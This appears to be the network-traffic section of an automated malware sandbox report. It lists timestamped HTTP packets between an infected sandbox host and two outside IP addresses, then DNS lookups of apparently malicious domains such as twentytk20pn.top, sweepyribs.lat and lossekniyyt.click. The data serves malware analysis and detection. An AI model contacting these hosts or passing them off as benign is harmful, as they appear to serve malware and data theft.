Dec 18, 2024 17:08:42.428744078 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.428796053 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.430196047 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.430206060 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.430265903 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.430354118 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.431907892 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.431919098 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.431969881 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.433286905 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.433295965 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.433310032 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.433345079 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.434793949 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.434803009 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.434850931 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.436589003 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.436597109 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.436647892 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.440084934 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440093040 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440160036 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.440166950 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440175056 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440191031 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440198898 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.440223932 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.440239906 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.441282988 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.441292048 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.441345930 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.442624092 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.442670107 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.520462990 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.520725012 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.520756006 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.520891905 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.522089958 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.522313118 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.522768021 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.522886992 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.525470972 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.525526047 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.525923014 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.526041985 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.529810905 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.530055046 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.530870914 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.531152964 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.532782078 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.532987118 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.533062935 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.533162117 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.535895109 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.535989046 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.536252022 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.536341906 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.537193060 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.537658930 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.537738085 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.538328886 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.538337946 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.538398981 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.539781094 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.539871931 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.540438890 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.540446997 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.540545940 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.541867018 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.541975975 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.542542934 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.542550087 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.542614937 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.544101000 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.544109106 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.544158936 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.545017004 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.545025110 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.545192957 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.546542883 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.546550989 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.546613932 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.549458981 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.551225901 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.551239014 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.551285982 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.551301003 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.553141117 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.553149939 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.553221941 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.553963900 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.553977966 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.554017067 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.556215048 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.556230068 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.556269884 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.556301117 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.557029009 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.557038069 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.557050943 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.557090044 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.557112932 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.558826923 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.558834076 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.558891058 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.560688972 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.560697079 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.560852051 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.561381102 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.561394930 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.561444998 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.564054012 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.564062119 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.564074039 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.564132929 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.564176083 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.564789057 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.564804077 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.565069914 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.567104101 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.567111015 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.567172050 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.568120003 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.568128109 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.568201065 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.568226099 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.569099903 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.569108963 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.569181919 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.570571899 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.570596933 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.570609093 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.570662022 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.572154045 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.572160959 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.572213888 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.573671103 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.573678970 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.573728085 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.574992895 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.575001001 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.575052977 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.576359034 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.576366901 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.576378107 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.576441050 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.577671051 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.577678919 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.577742100 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.579024076 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.579030991 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.579087973 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.579279900 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.580383062 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.580390930 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.580482960 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.581779003 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.581787109 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.581849098 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.583035946 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.583050013 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.583055019 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.583090067 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.583101988 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.584393978 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.584409952 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.584461927 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.585753918 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.585774899 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.585833073 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.587093115 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.587100029 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.587155104 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.588413954 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.588433981 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.588629961 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.588630915 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.589776993 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.589786053 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.589797974 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.589845896 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.591135025 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.591142893 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.591211081 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.591264009 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.592447042 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.592454910 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.592555046 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.593848944 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.593858004 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.593918085 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.595175982 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.595186949 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.595197916 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.595246077 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.596585035 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.596596956 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.596685886 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.597820044 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.597831011 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.597887039 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.599147081 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.599167109 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.599225044 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.600533009 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.600543976 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.600605011 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.601851940 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.601870060 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.601877928 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.601912022 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.603226900 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.603239059 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.603302002 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.603338957 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.604563951 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.604581118 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.604655981 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.605873108 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.605882883 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.605942965 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.607228041 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.607239962 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.607255936 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.607332945 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.607332945 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.608598948 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.608616114 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.608674049 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.609910965 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.609920979 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.609976053 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.611344099 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.611349106 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.611404896 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.612651110 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.612660885 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.612749100 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.613914967 CET	80	49822	185.185.71.170	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 17:08:15.942919970 CET	192.168.2.4	1.1.1.1	0xa489	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:29.916753054 CET	192.168.2.4	1.1.1.1	0xa90b	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:29.916842937 CET	192.168.2.4	1.1.1.1	0x45f6	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 17:08:35.887815952 CET	192.168.2.4	1.1.1.1	0xd21e	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:35.887934923 CET	192.168.2.4	1.1.1.1	0x44df	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:08:39.108716011 CET	192.168.2.4	1.1.1.1	0xd9ec	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.331351042 CET	192.168.2.4	1.1.1.1	0xd139	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.798033953 CET	192.168.2.4	1.1.1.1	0x48a4	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.799390078 CET	192.168.2.4	1.1.1.1	0x609e	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:08:53.876804113 CET	192.168.2.4	1.1.1.1	0xa864	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:01.195512056 CET	192.168.2.4	1.1.1.1	0x4efa	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:04.201309919 CET	192.168.2.4	1.1.1.1	0xabe6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:04.201458931 CET	192.168.2.4	1.1.1.1	0x165b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 17:09:04.261622906 CET	192.168.2.4	1.1.1.1	0x1769	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:04.261710882 CET	192.168.2.4	1.1.1.1	0xde10	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:07.404211998 CET	192.168.2.4	1.1.1.1	0xfee9	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:07.404280901 CET	192.168.2.4	1.1.1.1	0x20e	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:07.557214022 CET	192.168.2.4	1.1.1.1	0xc10	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:07.890857935 CET	192.168.2.4	1.1.1.1	0xf233	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 17:09:15.293684006 CET	192.168.2.4	1.1.1.1	0x810a	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.454510927 CET	192.168.2.4	1.1.1.1	0x1906	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.459255934 CET	192.168.2.4	1.1.1.1	0x7302	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.603456020 CET	192.168.2.4	1.1.1.1	0x8b1a	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.607527971 CET	192.168.2.4	1.1.1.1	0xef63	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.744349957 CET	192.168.2.4	1.1.1.1	0xedbe	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 17:09:18.746398926 CET	192.168.2.4	1.1.1.1	0x333c	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 18, 2024 17:09:28.349704027 CET	192.168.2.4	1.1.1.1	0x94c7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 17:09:29.503375053 CET	192.168.2.4	1.1.1.1	0xb450	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:31.544207096 CET	192.168.2.4	1.1.1.1	0x5ccc	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.743426085 CET	192.168.2.4	1.1.1.1	0x3974	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.743426085 CET	192.168.2.4	1.1.1.1	0xf076	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:45.743484974 CET	192.168.2.4	1.1.1.1	0x3974	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.907143116 CET	192.168.2.4	1.1.1.1	0x9acd	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.907234907 CET	192.168.2.4	1.1.1.1	0x9acd	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:46.069008112 CET	192.168.2.4	1.1.1.1	0x8ee3	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:46.069046021 CET	192.168.2.4	1.1.1.1	0x4ef8	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:48.934144020 CET	192.168.2.4	1.1.1.1	0x2c2c	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:48.934240103 CET	192.168.2.4	1.1.1.1	0x47f0	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:48.934361935 CET	192.168.2.4	1.1.1.1	0x2c2c	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:48.934458971 CET	192.168.2.4	1.1.1.1	0x47f0	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:48.934717894 CET	192.168.2.4	1.1.1.1	0x47f0	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:48.934771061 CET	192.168.2.4	1.1.1.1	0x2c2c	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.058548927 CET	192.168.2.4	1.1.1.1	0x4d73	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.058602095 CET	192.168.2.4	1.1.1.1	0x4f7f	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:49.058664083 CET	192.168.2.4	1.1.1.1	0x4d73	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.058856010 CET	192.168.2.4	1.1.1.1	0x4f7f	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:49.058891058 CET	192.168.2.4	1.1.1.1	0x4d73	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.322561026 CET	192.168.2.4	1.1.1.1	0x525b	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.322618961 CET	192.168.2.4	1.1.1.1	0x53e6	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:49.322706938 CET	192.168.2.4	1.1.1.1	0x525b	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.322741985 CET	192.168.2.4	1.1.1.1	0x53e6	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:49.322932005 CET	192.168.2.4	1.1.1.1	0x53e6	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 17:09:49.322958946 CET	192.168.2.4	1.1.1.1	0x525b	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 17:08:16.252054930 CET	1.1.1.1	192.168.2.4	0xa489	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
